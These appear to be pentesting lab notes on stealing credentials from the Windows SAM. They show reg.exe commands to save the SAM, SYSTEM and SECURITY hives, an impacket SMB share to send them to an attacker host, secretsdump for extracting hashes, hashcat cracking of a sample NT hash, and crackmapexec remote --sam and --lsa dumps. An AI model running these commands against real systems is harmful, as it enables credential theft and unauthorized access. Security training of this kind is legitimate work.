SAM (Security Account Manager)

It is a Microsoft Windows operating system database file that contains LOCAL usernames and passwords. Hives are sections of the Windows Registry that contain critical configurations and system data.
  • Registry Hive: Description
  • hklm\sam: Contains password hashes for local accounts.
  • hklm\system: Includes the system boot key (bootkey), used to encrypt and decrypt the SAM.
  • hklm\security: Stores cached credentials for domain accounts.

Extracting Registry Hives

With admin privileges in CMD:
powershell
reg.exe save hklm\sam C:\sam.save
reg.exe save hklm\system C:\system.save
reg.exe save hklm\security C:\security.save

Transferring the Hives

terminal
$ sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support CompData /home/alex/Documents/
txt
move sam.save \\10.10.15.16\CompData
move system.save \\10.10.15.16\CompData
move security.save \\10.10.15.16\CompData

Dumping Hashes

terminal
$ python3 secretsdump.py -sam sam.save -security security.save -system system.save LOCAL

Cracking Hashes

Format: uid:rid:lmhash:nthash
txt
jason:1002:aad3b435b51404eeaad3b435b51404ee:a3ecf31e65208382e23b3420a34208fc:::
terminal
$ hashcat -m 1000 hashestocrack.txt /usr/share/wordlists/rockyou.txt

Remote Attacks (crackmapexec)

LSA (returns plaintext passwords instead of hashes):
terminal
$ crackmapexec smb 10.129.42.198 --local-auth -u usuario -p contraseña --lsa$ crackmapexec smb 10.129.42.198 --local-auth -u usuario -p contraseña --sam